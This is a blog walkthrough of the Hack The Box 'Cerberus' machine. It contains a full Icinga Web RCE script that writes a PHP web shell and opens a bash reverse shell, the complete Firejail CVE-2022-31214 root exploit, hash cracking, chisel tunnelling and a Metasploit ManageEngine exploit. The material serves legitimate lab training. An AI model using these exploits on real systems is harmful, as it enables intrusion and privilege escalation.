top of page

Thanks for subscribing!

Want to get notified when I create new content?

  • Writer's pictureKyser Clark

Hack The Box: Cerberus – Walkthrough

Updated: Jul 30, 2023


Hack The Box Cerberus Info Card

In this blog post, I've included a comprehensive video tutorial alongside a written guide for the Hack The Box Cerberus Machine. Whether you prefer watching instructional videos or following written directions, this guide provides everything you need to fully comprehend the challenges and solutions of the Cerberus Machine. 🌟 Grow your cyber skills by signing up for Hack The Box https://affiliate.hackthebox.com/Kyser


Disclaimer: Please note that links I share to Hack The Box are affiliate links. This means that if you make a purchase through these links, I may receive a commission at no additional cost to you. Your support through these purchases helps me continue providing valuable content. Thank you!

Video Cerberus Walkthrough:

Written Cerberus Walkthrough:


Table of Contents

0. Scope


0. Scope

The target IP address and attack machine (or Pwnbox) IP address vary from instance to instance. Keep this in mind as you follow along with this walkthrough. You will need to swap my IPs with your IPs for many of the commands. I am using the current Hack The Box (HTB) Pwnbox for this walkthrough. However, feel free to use any Linux distribution you feel comfortable with. I believe most, if not all, penetration testing operating systems can get the job done. Before this write-up, I successfully pwned Cerberus using ‘kali-linux-2023.1-virtualbox-amd64’.


Target IP: 10.129.191.158 | Attack Machine IP: 10.10.14.23



1. Reconnaissance

To start, let’s do a SYN (stealth) nmap scan on all ports at increased speed by using:

sudo nmap -p- 10.129.191.158 -sS -T4

Figure 1-1: Initial nmap scan

Initial Nmap Scan

In the results, we can see that port 8080 is open. Port 8080, as the output suggests, is generally used for HTTP services. With that in mind, let’s open Firefox (or any other internet browser) and find out what’s at http://10.129.191.158:8080.


Figure 1-2: Server Not Found

Server Not Found

Nothing interesting seems to be here at first glance; however, if you pay attention to the URL, you can see that we were redirected to http://icinga.cerberus.local:8080/icingaweb2. To fix this issue, we need to add “10.129.191.158 icinga.cerberus.localto the “/etc/hostsfile on our attack machine using:

sudo nano /etc/hosts

Figure 1-3 shows what your “/etc/hosts” file should look like to access the web server running on port 8080 on the target machine.


Figure 1-3: Adding the target to /etc/hosts

Adding the target to /etc/hosts

Return to your browser and refresh. You will be greeted with the Icinga web login portal.


Figure 1-4: Icinga login portal

Icinga login portal

After careful enumeration, we can discover an insecure direct object reference (IDOR) vulnerability located at http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty. With this vulnerability, we can view files that the web server has permission to view. For example, we can see the “/etc/passwd” file by navigating to http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd. Interestingly, Cerberus is classified as a Windows machine on HTB but we are viewing a Linux file. We will explore why this is the case later. For now, note the “matthew” user in “/etc/passwd”.


Figure 1-5: IDOR Vulnerability

IDOR Vulnerability

We can find other interesting files to view through trial and error and further online research on Incinga Web 2. Navigating to http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini reveals login credentials for the “matthew” user. Password: “IcingaWebPassword2023”.


Figure 1-6: matthew login credentials

matthew login credentials

Now return to the login portal at http://icinga.cerberus.local:8080/icingaweb2/authentication/login and login with Username: “matthew” & Password: “IcingaWebPassword2023”. After careful examination of the web server administrator dashboard, a lot of online research, and much trial and error, we discover that we can create users, upload private SSH keys, enable modules, and write .php files. All of these plus IDOR means we can do remote code execution (RCE) on the web server.



2. Initial Foothold

We can absolutely exploit RCE manually; however, the Incinga web server reverts many of its settings after a few minutes. Which means you have to be quick to pull off the manual method. I could not do all the steps fast enough to get this exploit to work manually. So, I used this python script:

Code 2-1: rce.py

import requests
import bs4
import argparse
import random
import string
 
def get_csrf(resp):
    soup = bs4.BeautifulSoup(resp.text, "lxml")
    csrf_token = soup.find("input", {"id": "CSRFToken"})["value"]
    return csrf_token
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='lol')
    parser.add_argument('-i', '--ip', help='nc listener ip', required=True)
    parser.add_argument('-p', '--port', help='nc listener port', required=True)
 
    args = parser.parse_args()
 
    session = requests.session()
 
    # LOGIN
    URL = "http://icinga.cerberus.local:8080/icingaweb2/authentication/login"
    resp = session.get(URL)
    csrf_token = get_csrf(resp)
    data = {"username":"matthew","password":"IcingaWebPassword2023","rememberme":"0","redirect":"","formUID":"form_login","CSRFToken":csrf_token,"btn_submit":"Login"}
    resp = session.post(URL, data=data)
 
    # CHANGE MODULE PATH
    URL = "http://icinga.cerberus.local:8080/icingaweb2/config/general"
    resp = session.get(URL)
    csrf_token = get_csrf(resp)
    data = {"global_show_stacktraces":"0","global_show_stacktraces":"1","global_show_application_state_messages":"0","global_show_application_state_messages":"1","global_module_path":"/dev/","global_config_resource":"icingaweb2","logging_log":"syslog","logging_level":"ERROR","logging_application":"icingaweb2","logging_facility":"user","themes_default":"Icinga","themes_disabled":"0","authentication_default_domain":"","formUID":"form_config_general","CSRFToken":csrf_token,"btn_submit":"Save Changes"}
    resp = session.post(URL, data=data)
 
    # ENABLE MODULE
    URL = "http://icinga.cerberus.local:8080/icingaweb2/config/moduleenable"
    resp = session.get(URL)
    csrf_token = get_csrf(resp)
    data = {"identifier":"shm","CSRFToken":csrf_token,"btn_submit":"btn_submit"}
    resp = session.post(URL, data=data)
 
    # UPLOAD SSH KEY
    URL = "http://icinga.cerberus.local:8080/icingaweb2/config/createresource"
    resp = session.get(URL)
    csrf_token = get_csrf(resp)
    data = {"type":"ssh","name":"test","user":"test","private_key":"-----BEGIN RSA PRIVATE KEY-----\r\n\
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\r\n\
-----END RSA PRIVATE KEY-----","formUID":"form_config_resource","CSRFToken":csrf_token,"btn_submit":"Save Changes"}
    resp = session.post(URL, data=data)
 
    # EXPLOIT: WRITE PHP FILE
    URL = "http://icinga.cerberus.local:8080/icingaweb2/config/createresource"
    resp = session.get(URL)
    csrf_token = get_csrf(resp)
    data = {"type":"ssh","name":"asdf2","user":"../../../../../dev/shm/run.php","private_key":"file:///etc/icingaweb2/ssh/test\x00<?php system($_REQUEST['cmd']);?>","formUID":"form_config_resource","CSRFToken":csrf_token,"btn_submit":"Save Changes"}
    resp = session.post(URL, data=data)
 
    # GET REVERSE SHELL
    URL = "http://icinga.cerberus.local:8080/icingaweb2/shm/run"
    data = {"cmd":"bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(args.ip,args.port)}
    session.post(URL, data=data)

The Python script leverages security weaknesses in Icinga Web to upload a malicious SSH key, write a PHP file, and finally, use the PHP file to execute a reverse shell.


Before running the script, we need to make sure that we start a netcat listener in another terminal tab using:

nc -lnvp 8686

Once the python script is on your machine, run it like this:

python3 rce.py -i 10.10.14.23 -p 8686

If everything is set up correctly, we will get a shell on our listener tab. Initial foothold achieved!


Figure 2-1: Initial Foothold Achieved

Initial Foothold Achieved


3. User Flag


3.1 Privilege Escalation

Stabilizing your shell when you catch one is always a good idea. However, this will be 100% necessary to escalate our privileges on icinga. Run these commands in this order:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Now background the shell by pressing “ctrl+z” and run:

stty raw -echo; fg

Press “enter” and now you have a fully interactive shell to explore icigna with.


Now it’s time to start the enumeration process with our initial access to search for a way to escalate our privileges on icinga. With a lot of searching, we can discover that Icinga is vulnerable to “firejail: local root exploit reachable via --join logic (CVE-2022-31214)”. You can read how and why the exploit works here: https://www.openwall.com/lists/oss-security/2022/06/08/10. The exploit is written in python3 and can be seen below:


Code 3-1: firejoin.py

#!/usr/bin/python3
 
# Author: Matthias Gerstner <matthias.gerstner@suse.com>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
#   invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.
 
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
 
# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)
 
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)
 
    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False
 
    with open(f) as fd:
        ch = fd.read(2)
 
        if len(ch) != 1 or ch != "1":
            return False
 
    return True
 
def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])
 
def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])
 
def checkSelfExecutable():
    s = os.stat(__file__)
 
    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")
 
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)
 
    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")
 
        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue
 
        child_pid = line.split()[-1]
 
        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")
 
    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"
 
    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")
 
            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper sandbox")
    else:
        raise Exception(f"sleep child process did not come into existence in {children}")
 
    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")
 
    return proc, join_file
 
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
 
    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")
 
    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"
 
    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")
 
    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]
 
    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)
 
if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)
 
    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]
 
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
 
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")
 
FJ_MNT_ROOT = Path("/run/firejail/mnt")
 
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
 
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")
 
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
 
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")
 
    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)
 
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")
 
while True:
    line = sys.stdin.readline()
    if not line:
        break

Copy and paste the script into any directory that is writable by www-data. “/tmp” is a solid choice:

cd /tmp

If you use nano to write the script to a file, you can disregard the “Problem with history file” and “Unable to create directory” errors. Nano should work normally despite these errors assuming you stabilized your shell correctly. Now make “firejoin.py” executable with:

chmod +x firejoin.py

And run the exploit by doing:

python3 firejoin.py

Now you will see: “You can now run 'firejail --join=3508' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell” On your terminal. Note that “3508” will change each time you run the exploit, so your numbers will almost definitely differ from mine. However, you don’t have to open a new tab; you can background the process with “ctrl+z” and then use:

firejail --join=3508

Finally, do:

su -

To get root privileges. Note that because www-data doesn’t have sudo privileges, ‘sudo su -’ will not work. If everything is done correctly, you will have fully compromised icinga. See Figure 3-1 for the complete list of steps minus the shell stabilization portion.


Figure 3-1: root access on icinga

root access on icinga

3.1 Escaping the container

With root privileges, it doesn’t take long to realize that both user.txt and root.txt flags are non-existent on the system. You can see “172.16.22.1 DC.cerberus.local DC cerberus.local” inside of “/etc/hosts” on icinga. This confirms that there is another system we need to gain access to.


Figure 3-2: /etc/hosts file on icinga

/etc/hosts file on icinga

Now that we know about our new target, we need to scan it for open ports. But how do we do that when both nmap and netcat aren’t installed on icinga? You can find a way to transfer nmap or netcat onto inciga. Or better yet, use a tool that is already on icinga. Icinga has socat installed and ready to go, so I wrote a socat port scanner in bash to scan “172.16.22.1”. I call it “socatmap”, and the code is below:


Code 3-2: socatmap.sh


#!/bin/bash

# Written by Kyser Clark | KyserClark.com | @KyserClark

# Define the usage message function
function usage {
  echo "Usage: $0 -i [IP Address] -p [Port(s)]"
  echo "Example: $0 -i 192.168.0.1 -p 80,443,1000-2000,-"
  exit 1
}

# Parse the command-line arguments
while getopts ":i:p:" opt; do
  case ${opt} in
    i )
      IP=$OPTARG
      ;;
    p )
      PORTS=$OPTARG
      ;;
    * )
      usage
      ;;
  esac
done

# Check if the IP address and ports have been provided
if [[ -z $IP || -z $PORTS ]]; then
  usage
fi

# Use socat to scan the ports on the target machine
for PORT in $(echo $PORTS | tr ',' ' '); do
  if [[ $PORT == "-" ]]; then
    PORT_RANGE="1-65535"
  elif [[ $PORT == *-* ]]; then
    START_PORT=$(echo $PORT | cut -d '-' -f 1)
    END_PORT=$(echo $PORT | cut -d '-' -f 2)
    PORT_RANGE=$(seq $START_PORT $END_PORT | tr '\n' ',')
    PORT_RANGE=${PORT_RANGE::-1} # Remove the trailing comma
  else
    PORT_RANGE=$PORT
  fi

  for PORT in $(echo $PORT_RANGE | tr ',' ' '); do
    (echo >/dev/tcp/$IP/$PORT >/dev/null 2>&1) &
    PID=$!
    sleep 0.2s
    kill $PID >/dev/null 2>&1
    wait $PID >/dev/null 2>&1
    if [[ $? -eq 0 ]]; then
      echo "Port $PORT is open"
    fi
  done
done

Copy and paste it into a file called “socatmap.sh”. Then make it executable with:

chmod +x socatmap.sh

Then run it like this:

./socatmap.sh -i 172.16.22.1 -p 5985

Notice that we only scan port 5985 because it’s the only port we care about. Without prior knowledge, you would have to scan all 65535 ports with “-p 1-65535” to discover 5985 as open. Socatmap isn’t fast like nmap is, so to save time, you can trust me when I say you only care about port 5985 while doing this walkthrough.


Figure 3-3: port 5985 is open

port 5985 is open

With some quick online research, we can discover that port 5985 is the well-known port for Windows Remote Management (WinRM). We can log into WinRM if we can get some valid credentials. We can discover the “/var/lib/sss/db/” directory with more enumeration. Inside “/var/lib/sss/db” there is a file called “cache_cerberus.local.ldb”.


Figure 3-4: cache_cerberus.local.ldb file

 cache_cerberus.local.ldb file

We view the information inside “cache_cerberus.local.ldb” more easily by running:

strings cache_cerberus.local.ldb

Figure 3-5: Opening cache_cerberus.local.ldb with strings

Opening cache_cerberus.local.ldb with strings

You will have to scroll up a bit to see this in your terminal. But what we have here is a username and a password hash:

$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0

I couldn’t get “hashid” or “hash-identifier” to show me the type of hash we are dealing with here; however, hashes.com’s hash identifier works like a charm. You can find the tool at: https://hashes.com/en/tools/hash_identifier.


Figure 3-6: Hash Identifier

Hash Identifier

Now that we know we are dealing with sha512crypt, we can attempt to crack the hash with “hashcat” using the “rockyou.txt” wordlist. First, copy and paste the hash into a file called “hash.txt” on your attack machine and run:

hashcat -a3 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

After a certain amount of time (time varies based on your computer’s resources, especially GPU) we crack the hash and get a password of “147258369”.


Figure 3-7: Hash Cracked with hashcat

Hash Cracked with hashcat

Now that we seem to have a valid username and password, we need to find a way to connect to port 5985 on Cerberus (172.16.22.1). Unfortunately, we don’t have a way to reach that network, so we need to forward ports/tunnel from our attack machine through icinga to Cerberus. There are multiple tools to do this; however, we will use chisel.


Figure 3-8: Tunnel through Icinga to Cerberus

Tunnel through Icinga to Cerberus

To set up a chisel tunnel, we first need to grab the latest version of chisel from https://github.com/jpillora/chisel/releases to put on our attack machine despite chisel already being installed. We will use be using “chisel_1.8.1_linux_amd64.gz”. You can download it easily by using wget:

wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz

Spoiler Alert: you don’t have to get the latest version of chisel for this first tunnel, but we will need the latest version for future tunnels in this walkthrough. If you don’t use the latest version now, you will have to retrace steps.


Once you download chisel, you need to unzip it with:

gunzip -d chisel_1.8.1_linux_amd64.gz

Then make it executable with:

chmod +x chisel_1.8.1_linux_amd64

Lastly, rename the file so we can type less when we use it:

mv chisel_1.8.1_linux_amd64 chisel

Figure 3-9: Getting chisel ready to use

Getting chisel ready to use

Now we need to start a simple python http server by doing:

python3 -m http.server 9001

NOTICE: At this point forward, both my attack machine and the target machine’s IP address have changed due to reboots. My attack machine IP is now 10.10.14.39, and the target machine is now 10.129.229.4


Once the http server is running on your attack machine, switch back to your icinga tab and download chisel using:

wget http://10.10.14.39:9001/chisel

Figure 3-10: Downloading chisel onto Icinga

Downloading chisel onto Icinga

Once chisel is downloaded to Icinga you may stop the http server as it is no longer needed at this time. Start the chisel server on your attack machine using:

./chisel server --reverse -p 9002

Figure 3-11: Starting the chisel server on the attack machine

Starting the chisel server on the attack machine

Now switch back over to Icinga’s terminal tab and run “chmod +x chisel”, then start the chisel client using:

./chisel client 10.10.14.39:9002 R:5985:172.16.22.1:5985

Figure 3-12: Staring the chisel client on icinga

Figure 3-12: Staring the chisel client on icinga

If you go back to your attack machine’s chisel listener tab, you should see it catching a session from icinga, as shown in figure 3-13. Make sure you keep all chisel terminal tabs open throughout this walkthrough.


Figure 3-13: chisel server catches a session

Figure 3-13: chisel server catches a session

Now that we have the chisel tunnel setup up and working, we can finally attempt to log into Cerberus via WinRM with the credentials we found earlier. To do this, open a new tab on your attack machine and try:

evil-winrm -i 127.0.0.1 -u 'matthew@cerberus.local' -p 147258369

Thankfully, this works, and now we are in control of the matthew user on Cerberus, which means we can finally get the user.txt flag as seen in Figure 3-14.


Figure 3-14: Getting the user flag

Figure 3-14: Getting the user flag


4. System Flag


4.1 Enumeration

We can spend an enormous amount of time searching Cerberus for interesting files that may lead to privilege escalation, but to save you time, I will let you know that the interesting content exists within “C:\Program Files (x86)\ManageEngine\ADSelfService Plus\conf\server.xml”. Here you can see that the vulnerable ManageEngine is running on port 9251. You can also see that ManageEngine uses SSL, which means that it also utilizes port 443 since it’s an http service. If you search the internet for ManageEngine exploits, you will eventually figure out that this version of ManageEngine (specifically ADSelfService) is vulnerable to CVE-2022-47966. You can read about the vulnerability and exploit at https://github.com/rapid7/metasploit-framework/pull/17556. Knowing this, we search Metasploit for usable modules. Start Metasploit with “msfconsole” on your attack machine and then run “search adselfservice”. Hopefully you see “exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966”, but if your Pwnbox doesn’t have this module like mine, you have to update the msfconsole database. Exit Metasploit and run:

sudo apt update
sudo apt install metasploit-framework
sudo apt-get upgrade metasploit-framework
sudo msfdb reinit

Now start Metasploit and run the module search again. This second search strangely took a lot of time, be patient, and you should see the module we need. Now run:

use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966

Now run “show options” to see what we need to set to get our exploit to work.


Figure 4-1: Showing exploit options

Showing exploit options

We need to find the GUID and the ISSUER_URL. But before we can do that, we need to do more chisel tunneling so we can connect to Cerberus’s ManageEngine from our attack machine. However, we need to transfer the windows version of chisel this time. We can download it on to our attack machine with:

wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_windows_amd64.gz

Extract it with:

gunzip -d chisel_1.8.1_windows_amd64.gz

And Make it an .exe with:

mv chisel_1.8.1_windows_amd64 chisel.exe

Now start up the simple http server with python the same way we did before. However, this time download chisel from the Evil-WinRM terminal using:

certutil -urlcache -f http://10.10.14.39:9001/chisel.exe chisel.exe

Ensure you are in a folder the matthew user can write to. I like to “mkdir C:\temp”. Now we can start the chisel server in a new tab on our attack machine the same way as before, but with a different port and sudo (make sure you are in the directory you downloaded the newest version of chisel and make sure you use sudo!):

sudo ./chisel server --reverse -p 9003

Now forward ports 443 and 9251 from the Evil-WinRM terminal to your attack machine using:

./chisel.exe client 10.10.14.39:9003 R:443:localhost:443 R:9251:localhost:9251

If everything is set up correctly, you will see a session on your attack machine chisel listener tab, as shown in Figure 4-2.


Figure 4-2: Chisel forwarding ports 443 and 9251

Chisel forwarding ports 443 and 9251

Now we need to add “127.0.0.1 dc dc.cerberus.local” to “/etc/hosts” on our attack machine to connect to Cerberus via our web browser.


Figure 4-3: Adding dc dc.cerberus local into etc/hosts

Adding dc dc.cerberus local into etc/hosts

After a lot of enumeration, you can find the entityID (issuer_url) located at https://dc.cerberus.local/FederationMetadata/2007-06/FederationMetadata.xml.


Figure 4-4: Getting the entityID

Getting the entityID

And you can find the GUID at https://127.0.0.1:9251/ after logging in with the same credentials as before. Username: “matthew@cerberus.local” and Password: “147258369”.


Figure 4-5: Getting the GUID

Getting the GUID

NOTICE: Firefox will raise an alert because it does not trust the certificate (and rightly so since it is self-signed); you must click “advanced” then accept the risk and continue to view the two web links.



4.1 Exploitation

Now that we have the entityID and the Issuer_URL, we have everything in place to run the Metasploit module. Do these commands in this order to gain administrative access to Cerberus:

msfconsole
use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOSTS 127.0.0.1
set LHOST 10.10.14.39
exploit

Figure 4-6: Setting up metasploit

Setting up metasploit

If everything is properly set up, you will catch a meterpreter shell. To view the root.txt flag run:

cat C:/Users/Administrator/Desktop/root.txt

Figure 4-7: Getting the root.txt flag

Getting the root.txt flag

And with that, we have successfully Pwned Cerberus! Congratulations! I hope you have found this walkthrough useful.

176 views0 comments

Related Posts

See All

